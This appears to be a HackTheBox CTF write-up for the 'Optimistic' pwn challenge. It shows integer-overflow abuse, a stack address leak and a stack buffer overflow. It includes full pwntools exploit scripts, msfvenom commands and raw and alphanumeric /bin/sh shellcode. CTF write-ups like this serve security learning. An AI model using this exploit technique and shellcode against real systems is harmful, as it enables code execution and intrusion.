← Back to Writeups
HTBN/APwn

Optimistic

XESXOR8/23/20265 min read
#pwn#htb#n/a

Optimistic

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Are you ready to feel positive?

Solution Approach

Core idea: Exploiting Integer Overflow. Utilizing Integer Overflow to leak stack address.

Steps

  1. First, unzip the .zip file given, then check the type of file we got.

  2. Now check the binary's protection.

  3. Let us run the binary then.

  4. Hmm.. let us decompile the binary and analyze the main() function.

  5. Seems like we need to find the offset of our stack pointer. Not only that now we know why the binary skipped the age prompt, it's because the email variable only accepts 8 characters.

  6. The vuln here, local_84 is an unsigned int, then converted to int and compared to another value. This could lead to Interger Overflow.

QUICK INFO

  1. So let us run the binary in gbd.

At this point, we know the unsigned int is ranged from 0 - 4,294,967,295, let us input 1 as the length.

  1. Hmm.. Confused why it's terminated, because it must only validating if the length is above 64.

  2. Let us run the binary without gdb then.

  3. Got segmentation fault!

  4. Hmm.. Try to get the EIP/RIP offset with pwntools then.

THE SCRIPT

from pwn import *
import os

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE: 
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  
        return process([exe] + argv, *a, **kw)

exe = './optimistic'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

def getOffset(pattern):
    sh = process(exe)
    sh.sendlineafter(':', 'y')
    sh.sendlineafter(':', 'aa')
    sh.sendlineafter(':', 'aa')
    sh.sendlineafter(':', '-1')
    sh.sendlineafter(':', pattern)
    sh.wait()
    offset = cyclic_find(sh.corefile.read(sh.corefile.sp,4))
    info('EIP/RIP offset : {i}'.format(i=offset))
    return offset

pattern = cyclic(1024)
offset = getOffset(pattern) # got 104

OUTPUT - 104

  1. Now we need to get the location of EBP (leak the stack address).

### LEAK THE STACK ADDRESS

stackAddr = int(re.search(r"(0x[\w\d]+)", sh.recvlines()).group(0), 16)
info("Stack Address Leaked: %#x", stackAddr)

### remove 96 bytes to point at RSP instead of RBP | remove 96 bytes because `local_68` buffer is 96 bytes

stackAddr = stackAddr - 96
  1. Now set the shellcode.

### create the shellcode

shellcode = asm(shellcraft.sh())

### payload

p = flat(
    [
        shellcode,
        cyclic(offset - len(shellcode)), # as the padding bytes
        stackAddr
    ]
)

THE SCRIPT SO FAR

from pwn import *
import os

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE: 
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  
        return process([exe] + argv, *a, **kw)

exe = './optimistic'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

def getOffset(pattern):
    sh = process(exe)
    sh.sendlineafter(':', 'y')
    sh.sendlineafter(':', 'aa')
    sh.sendlineafter(':', 'aa')
    sh.sendlineafter(':', '-1')
    sh.sendlineafter(':', pattern)
    sh.wait()
    offset = cyclic_find(sh.corefile.read(sh.corefile.sp,4))
    info('EIP/RIP offset : {i}'.format(i=offset))
    return offset

pattern = cyclic(1024)
offset = getOffset(pattern) # got 104

sh = start()

sh.sendlineafter(':', 'y')

### LEAK THE STACK ADDRESS

stackAddr = int(re.search(r"(0x[\w\d]+)", sh.recvlineS()).group(0), 16)
info("Stack Address Leaked: %#x", stackAddr)

### remove 96 bytes to point at RSP instead of RBP | remove 96 bytes because `local_68` buffer is 96 bytes

stackAddr -= 96

### create the shellcode

shellcode = asm(shellcraft.sh())

### payload

p = flat(
    [
        shellcode,
        cyclic(offset - len(shellcode)), # as the padding bytes to RIP
        stackAddr # RBP - 96 (our shellcode)
    ]
)

sh.sendlineafter(':','aa')
sh.sendlineafter(':','aa')
sh.sendlineafter(':','-1')
sh.sendlineafter(':',p)

sh.interactive()

OUTPUT

  1. We got the shell here, but the problem is notice the shellcraft we sent are not alphanumeric.

  2. Try to ls.

  3. Yep, it's must in alphanumeric. Remember we have this checker.

  4. So i did a research on the internet, found out that we can do 3 methods.

The 1st & 2nd method is using msfvenom
The 3rd method simply search "linux alphanumeric shellcode" -> exploitdb | https://www.exploit-db.com/exploits/35205

1ST METHOD

COMMAND:
msfvenom -f python -p linux/x64/exec -a x86_64 --platform linux CMD=/bin/sh -e x86/alpha_mixed

COPY THE SHELL TO PYTHON

shellcode = b""
shellcode += b"\x89\xe2\xdb\xc2\xd9\x72\xf4\x58\x50\x59\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
shellcode += b"\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
shellcode += b"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
shellcode += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x32\x4a\x47\x4b\x76"
shellcode += b"\x38\x6d\x49\x37\x38\x4d\x6b\x34\x6f\x30\x62\x33\x59"
shellcode += b"\x50\x6e\x34\x6f\x44\x33\x62\x48\x65\x50\x51\x43\x61"
shellcode += b"\x58\x6b\x39\x78\x67\x72\x48\x76\x4d\x75\x33\x73\x30"
shellcode += b"\x37\x70\x50\x48\x6c\x49\x6d\x36\x52\x72\x58\x68\x73"
shellcode += b"\x38\x63\x30\x37\x70\x67\x70\x74\x6f\x33\x52\x52\x49"
shellcode += b"\x50\x6e\x66\x4f\x70\x73\x53\x58\x45\x50\x66\x36\x56"
shellcode += b"\x37\x70\x48\x4e\x69\x68\x66\x56\x6f\x43\x35\x41\x41"

2ND METHOD

COMMAND:
msfvenom -f python -p linux/x64/exec --platform linux CMD=/bin/sh

COPY THE SHELL TO PYTHON:

shellcode = b""
shellcode += b"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += b"\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
shellcode += b"\x52\xe8\x0a\x00\x00\x00\x2f\x62\x69\x6e\x2f\x62\x61"
shellcode += b"\x73\x68\x00\x56\x57\x48\x89\xe6\x0f\x05"
shellcode = alphanumeric(shellcode)

EXPLOIT DB

XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V
  1. For this solution i preferred to use the third method, because the 1st & 2nd i failed and found out need to change to python 2 environment.

  2. Anyway i will show you step by step to get the payload.

  3. Let us run this command first -> msfvenom -l payloads | grep linux to see all payloads for linux.

  4. Use this one:

  5. Since we want to convert the payload in python file, run this command -> msfvenom -p linux/x64/exec -f python --platform linux CMD=/bin/sh.

  6. Copy that to our script.

  7. Now let us go back and use the third method.

FINAL SCRIPT

from pwn import *
import os

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE: 
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  
        return process([exe] + argv, *a, **kw)

exe = './optimistic'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

def getOffset(pattern):
    sh = process(exe)
    sh.sendlineafter(':', 'y')
    sh.sendlineafter(':', 'aa')
    sh.sendlineafter(':', 'aa')
    sh.sendlineafter(':', '-1')
    sh.sendlineafter(':', pattern)
    sh.wait()
    offset = cyclic_find(sh.corefile.read(sh.corefile.sp,4))
    info('EIP/RIP offset : {i}'.format(i=offset))
    return offset

pattern = cyclic(1024)
offset = getOffset(pattern) # got 104

sh = start()

sh.sendlineafter(':', 'y')

### LEAK THE STACK ADDRESS

stackAddr = int(re.search(r"(0x[\w\d]+)", sh.recvlineS()).group(0), 16)
info("Stack Address Leaked: %#x", stackAddr)

### remove 96 bytes to point at RSP instead of RBP | remove 96 bytes because `local_68` buffer is 96 bytes

stackAddr -= 96

### create the shellcode - NEED PYTHON 2 ENV

##shellcode =  b""
##shellcode += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54"
##shellcode += b"\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x08\x00\x00"
##shellcode += b"\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x57\x54\x5e"
##shellcode += b"\x6a\x3b\x58\x0f\x05"
##shellcode = alphanumeric(shellcode)

shellcode = "XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V"

### payload

p = flat(
    [
        shellcode,
        cyclic(offset - len(shellcode)), # as the padding bytes to RIP
        stackAddr # RBP - 96 (our shellcode)
    ]
)

sh.sendlineafter(':','aa')
sh.sendlineafter(':','aa')
sh.sendlineafter(':','-1')
sh.sendlineafter(':',p)

sh.interactive()

OUTPUT

  1. Let us test it remotely.

  2. Got the flag!

Flag

REDACTED

Lessons Learned

  1. Exploiting Integer Overflow.
  2. Utilizing Integer Overflow to leak stack address.
  3. Writing shellcode to the leaked stack address and manipulate the RIP address to it.